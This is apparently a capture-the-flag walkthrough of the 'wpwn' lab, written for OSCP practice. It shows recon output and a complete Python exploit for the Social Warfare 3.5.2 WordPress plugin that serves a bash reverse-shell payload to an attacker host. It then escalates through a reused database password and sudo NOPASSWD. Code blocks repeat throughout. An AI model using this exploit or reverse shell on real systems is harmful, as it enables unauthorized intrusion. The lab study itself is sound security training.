August 7, 2026
wpwn proving Ground writeup | oscp prep/lab | Naruto writeup’s
wpwn walkthrough

By Naruto writeup's
5 min read
wpwn walkthrough
Lab Description
This lab challenges you to exploit a remote code execution vulnerability in the social-warfare WordPress plugin version 3.5.2 to gain initial access. Privilege escalation is achieved through user password reuse and open sudo permissions.
Information Gathering
Nmap Scan
I started by performing a full TCP port scan to identify the exposed services.
nmap -sV -Pn 192.168.129.123 -p- -A --open --min-rate 3000
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-07 13:47 +0530
Nmap scan report for 192.168.129.123
Host is up (0.11s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 59:b7:db:e0:ba:63:76:af:d0:20:03:11:e1:3c:0e:34 (RSA)
| 256 2e:20:56:75:84:ca:35:ce:e3:6a:21:32:1f:e7:f5:9a (ECDSA)
|_ 256 0d:02:83:8b:1a:1c:ec:0f:ae:74:cc:7b:da:12:89:9e (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelnmap -sV -Pn 192.168.129.123 -p- -A --open --min-rate 3000
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-07 13:47 +0530
Nmap scan report for 192.168.129.123
Host is up (0.11s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 59:b7:db:e0:ba:63:76:af:d0:20:03:11:e1:3c:0e:34 (RSA)
| 256 2e:20:56:75:84:ca:35:ce:e3:6a:21:32:1f:e7:f5:9a (ECDSA)
|_ 256 0d:02:83:8b:1a:1c:ec:0f:ae:74:cc:7b:da:12:89:9e (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelI performed directory enumeration against the web server using Gobuster.
gobuster dir \
-u http://192.168.129.123/ \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
-t 25
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.129.123/
[+] Method: GET
[+] Threads: 25
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
wordpress (Status: 301) [Size: 322] [--> http://192.168.129.123/wordpress/]
server-status (Status: 403) [Size: 280]
Progress: 220557 / 220557 (100.00%)gobuster dir \
-u http://192.168.129.123/ \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
-t 25
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.129.123/
[+] Method: GET
[+] Threads: 25
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
wordpress (Status: 301) [Size: 322] [--> http://192.168.129.123/wordpress/]
server-status (Status: 403) [Size: 280]
Progress: 220557 / 220557 (100.00%)The scan revealed a WordPress installation hosted inside the /wordpress directory.
After browsing the website, it was clear that the target was running a standard WordPress installation. The next logical step was to enumerate its plugins and identify any outdated components.
WordPress Enumeration
I used WPScan to enumerate all plugins. with use -e ap
wpscan --url http://192.168.129.123/wordpress/ -e ap
...
[+] URL: http://192.168.129.123/wordpress/
[+] WordPress theme in use: twentytwenty
| Location: http://192.168.129.123/wordpress/wp-content/themes/twentytwenty/
| Last Updated: 2026-05-20T00:00:00.000Z
| Readme: http://192.168.129.123/wordpress/wp-content/themes/twentytwenty/readme.txt
| [!] The version is out of date, the latest version is 3.1
| Style URL: http://192.168.129.123/wordpress/wp-content/themes/twentytwenty/style.css?ver=1.5
| Style Name: Twenty Twenty
| Style URI: https://wordpress.org/themes/twentytwenty/
| Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.5 (80% confidence)
| Found By: Style (Passive Detection)
| - http://192.168.129.123/wordpress/wp-content/themes/twentytwenty/style.css?ver=1.5, Match: 'Version: 1.5'
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] social-warfare
| Location: http://192.168.129.123/wordpress/wp-content/plugins/social-warfare/
| Last Updated: 2025-03-18T09:37:00.000Z
| [!] The version is out of date, the latest version is 4.5.6
|
| Found By: Urls In Homepage (Passive Detection)
| Confirmed By: Comment (Passive Detection)
|
| Version: 3.5.2 (100% confidence)
| Found By: Comment (Passive Detection)
| - http://192.168.129.123/wordpress/, Match: 'Social Warfare v3.5.2'
| Confirmed By:
| Query Parameter (Passive Detection)
| - http://192.168.129.123/wordpress/wp-content/plugins/social-warfare/assets/css/style.min.css?ver=3.5.2
| - http://192.168.129.123/wordpress/wp-content/plugins/social-warfare/assets/js/script.min.js?ver=3.5.2
| Readme - Stable Tag (Aggressive Detection)
| - http://192.168.129.123/wordpress/wp-content/plugins/social-warfare/readme.txt
| Readme - ChangeLog Section (Aggressive Detection)
| - http://192.168.129.123/wordpress/wp-content/plugins/social-warfare/readme.txt
...wpscan --url http://192.168.129.123/wordpress/ -e ap
...
[+] URL: http://192.168.129.123/wordpress/
[+] WordPress theme in use: twentytwenty
| Location: http://192.168.129.123/wordpress/wp-content/themes/twentytwenty/
| Last Updated: 2026-05-20T00:00:00.000Z
| Readme: http://192.168.129.123/wordpress/wp-content/themes/twentytwenty/readme.txt
| [!] The version is out of date, the latest version is 3.1
| Style URL: http://192.168.129.123/wordpress/wp-content/themes/twentytwenty/style.css?ver=1.5
| Style Name: Twenty Twenty
| Style URI: https://wordpress.org/themes/twentytwenty/
| Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.5 (80% confidence)
| Found By: Style (Passive Detection)
| - http://192.168.129.123/wordpress/wp-content/themes/twentytwenty/style.css?ver=1.5, Match: 'Version: 1.5'
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] social-warfare
| Location: http://192.168.129.123/wordpress/wp-content/plugins/social-warfare/
| Last Updated: 2025-03-18T09:37:00.000Z
| [!] The version is out of date, the latest version is 4.5.6
|
| Found By: Urls In Homepage (Passive Detection)
| Confirmed By: Comment (Passive Detection)
|
| Version: 3.5.2 (100% confidence)
| Found By: Comment (Passive Detection)
| - http://192.168.129.123/wordpress/, Match: 'Social Warfare v3.5.2'
| Confirmed By:
| Query Parameter (Passive Detection)
| - http://192.168.129.123/wordpress/wp-content/plugins/social-warfare/assets/css/style.min.css?ver=3.5.2
| - http://192.168.129.123/wordpress/wp-content/plugins/social-warfare/assets/js/script.min.js?ver=3.5.2
| Readme - Stable Tag (Aggressive Detection)
| - http://192.168.129.123/wordpress/wp-content/plugins/social-warfare/readme.txt
| Readme - ChangeLog Section (Aggressive Detection)
| - http://192.168.129.123/wordpress/wp-content/plugins/social-warfare/readme.txt
...Finding a Public Exploit
After identifying the vulnerable plugin, I searched the local Exploit-DB database.
searchsploit Social Warfare 3.5.2
...
Path
Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE) | multiple/webapps/52346.py
WordPress Plugin Social Warfare < 3.5.3 - Remote Code Execution | php/webapps/46794.py
...searchsploit Social Warfare 3.5.2
...
Path
Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE) | multiple/webapps/52346.py
WordPress Plugin Social Warfare < 3.5.3 - Remote Code Execution | php/webapps/46794.py
...The exploit perfectly matched the detected plugin version, so I copied it to my local machine.
searchsploit -m 52346.pysearchsploit -m 52346.pyReviewing the Exploit
Before executing any public exploit, it is always good practice to review the source code and understand how it work
cat 52346.pycat 52346.pyhere we change the attacker ip and target url, I also created a file named payload.txt, which contained the PHP reverse shell payload that would be executed on the target.
import requests
import threading
import http.server
import socketserver
import os
import subprocess
import time
# --- Config ---
TARGET_URL = "http://example.com"
ATTACKER_IP = "xxx.xxx.xx.xx" # Change to your attack box IP
HTTP_PORT = 8000
LISTEN_PORT = 4444
PAYLOAD_FILE = "payload.txt" #create file on kali
def create_payload():
"""Write exact reverse shell payload using valid PHP syntax"""
payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
with open(PAYLOAD_FILE, "w") as f:
f.write(payload)
print(f"[+] Payload written to {PAYLOAD_FILE}")
def start_http_server():
"""Serve payload over HTTP"""
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
print(f"[+] HTTP server running at port {HTTP_PORT}")
httpd.serve_forever()
def start_listener():
"""Start Netcat listener"""
print(f"[+] Listening on port {LISTEN_PORT} for reverse shell...")
subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])
def send_exploit():
"""Trigger the exploit with vulnerable parameter"""
payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
print(f"[+] Sending exploit: {exploit}")
try:
requests.get(exploit, timeout=5)
except requests.exceptions.RequestException:
pass
def main():
create_payload()
# Start web server in background
http_thread = threading.Thread(target=start_http_server, daemon=True)
http_thread.start()
time.sleep(2) # Give server time to start
# Start listener in background
listener_thread = threading.Thread(target=start_listener)
listener_thread.start()
time.sleep(1)
# Send the malicious request
send_exploit()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("[-] Interrupted by user.")import requests
import threading
import http.server
import socketserver
import os
import subprocess
import time
# --- Config ---
TARGET_URL = "http://example.com"
ATTACKER_IP = "xxx.xxx.xx.xx" # Change to your attack box IP
HTTP_PORT = 8000
LISTEN_PORT = 4444
PAYLOAD_FILE = "payload.txt" #create file on kali
def create_payload():
"""Write exact reverse shell payload using valid PHP syntax"""
payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
with open(PAYLOAD_FILE, "w") as f:
f.write(payload)
print(f"[+] Payload written to {PAYLOAD_FILE}")
def start_http_server():
"""Serve payload over HTTP"""
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
print(f"[+] HTTP server running at port {HTTP_PORT}")
httpd.serve_forever()
def start_listener():
"""Start Netcat listener"""
print(f"[+] Listening on port {LISTEN_PORT} for reverse shell...")
subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])
def send_exploit():
"""Trigger the exploit with vulnerable parameter"""
payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
print(f"[+] Sending exploit: {exploit}")
try:
requests.get(exploit, timeout=5)
except requests.exceptions.RequestException:
pass
def main():
create_payload()
# Start web server in background
http_thread = threading.Thread(target=start_http_server, daemon=True)
http_thread.start()
time.sleep(2) # Give server time to start
# Start listener in background
listener_thread = threading.Thread(target=start_listener)
listener_thread.start()
time.sleep(1)
# Send the malicious request
send_exploit()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("[-] Interrupted by user.")Hosting the Payload
The exploit retrieves the payload over HTTP, so I started a simple Python web server to host payload.txt.
This allows the vulnerable application to download the payload from my attacking machine.
python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000Preparing the Reverse Shell
Next, I started a Netcat listener to receive the incoming reverse shell.
nc -lvnp 4444nc -lvnp 4444Finally, I executed the exploit.
python3 52346.py
...
[+] Listening on port 4444 for reverse shell...
listening on [any] 4444 ...
[+] Sending exploit: http://192.168.129.123/wordpress//wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.45.203:8000/payload.txtpython3 52346.py
...
[+] Listening on port 4444 for reverse shell...
listening on [any] 4444 ...
[+] Sending exploit: http://192.168.129.123/wordpress//wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.45.203:8000/payload.txtOnce the request was processed successfully, the target downloaded the payload from my HTTP server and executed it.
Within a few seconds, I received a reverse shell as the www-data user.
After obtaining the reverse shell, I began local enumeration.
Initial Foothold
nc -lvnp 4444
listening on [any] 4444 ...
...
www-data@wpwn:/var/www/html/wordpress/wp-admin$ cd ..
# Although these credentials belong to the database, password reuse is extremely common in real-world environments.
...
define( 'DB_NAME', 'wordpress_db' );
/** MySQL database username */
define( 'DB_USER', 'wp_user' );
/** MySQL database password */
define( 'DB_PASSWORD', 'R3&]vzhHmMn9,:-5' );
...nc -lvnp 4444
listening on [any] 4444 ...
...
www-data@wpwn:/var/www/html/wordpress/wp-admin$ cd ..
# Although these credentials belong to the database, password reuse is extremely common in real-world environments.
...
define( 'DB_NAME', 'wordpress_db' );
/** MySQL database username */
define( 'DB_USER', 'wp_user' );
/** MySQL database password */
define( 'DB_PASSWORD', 'R3&]vzhHmMn9,:-5' );
...Although these credentials belong to the database, password reuse is extremely common in real-world environments.
After recovering the password, I inspected the local users.
cat /etc/passwdcat /etc/passwdThe system contained only one regular user.
takistakisSince SSH was already identified during the Nmap scan, it was reasonable to test whether the recovered password had been reused for the takis account.
The credentials worked successfully.
ssh takis@192.168.129.123
...
takis@wpwn:~$ dir
user.txtssh takis@192.168.129.123
...
takis@wpwn:~$ dir
user.txtThe first privilege escalation check on Linux should always be the user's sudo permissions.
takis@wpwn:~$ sudo -l
Matching Defaults entries for takis on wpwn:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User takis may run the following commands on wpwn:
(ALL) NOPASSWD: ALLtakis@wpwn:~$ sudo -l
Matching Defaults entries for takis on wpwn:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User takis may run the following commands on wpwn:
(ALL) NOPASSWD: ALLThis is one of the most dangerous sudo configurations because it allows the user to execute any command as root without entering a password.
Capturing the Flags
With root access obtained, I searched for the local flag.
takis@wpwn:~$ sudo su
root@wpwn:/home/takis# sudo find / -name "local.txt" 2>/dev/null # find the local.txt
/var/www/local.txt
root@wpwn:/home/takis# cat /var/www/local.txt
1285027656611b1bba791f9f5d4275b8takis@wpwn:~$ sudo su
root@wpwn:/home/takis# sudo find / -name "local.txt" 2>/dev/null # find the local.txt
/var/www/local.txt
root@wpwn:/home/takis# cat /var/www/local.txt
1285027656611b1bba791f9f5d4275b8Finally, I captured the proof flag.
root@wpwn:/home/takis# cat /root/proof.txt
728299aca58b580130114593b41eb604root@wpwn:/home/takis# cat /root/proof.txt
728299aca58b580130114593b41eb604Conclusion
This machine demonstrates how an outdated WordPress plugin can lead to complete system compromise. By identifying the vulnerable Social Warfare 3.5.2 plugin, adapting a public exploit, and achieving remote code execution, it was possible to gain an initial foothold as the web server user. Local enumeration then revealed database credentials that had been reused by the system user, allowing SSH access. Finally, an overly permissive sudo configuration (NOPASSWD: ALL) provided immediate root privileges.
This lab reinforces several important security lessons:
- Keep WordPress plugins updated to the latest supported versions.
- Always review public exploits before executing them.
- Never reuse passwords across services.
- Protect sensitive configuration files such as
wp-config.php. - Avoid granting unrestricted
sudopermissions (NOPASSWD: ALL) to non-administrative users.
Thanks for reading! I hope you found this walkthrough helpful. If you learned something new, feel free to share it with others. See you in the next write-up! 👋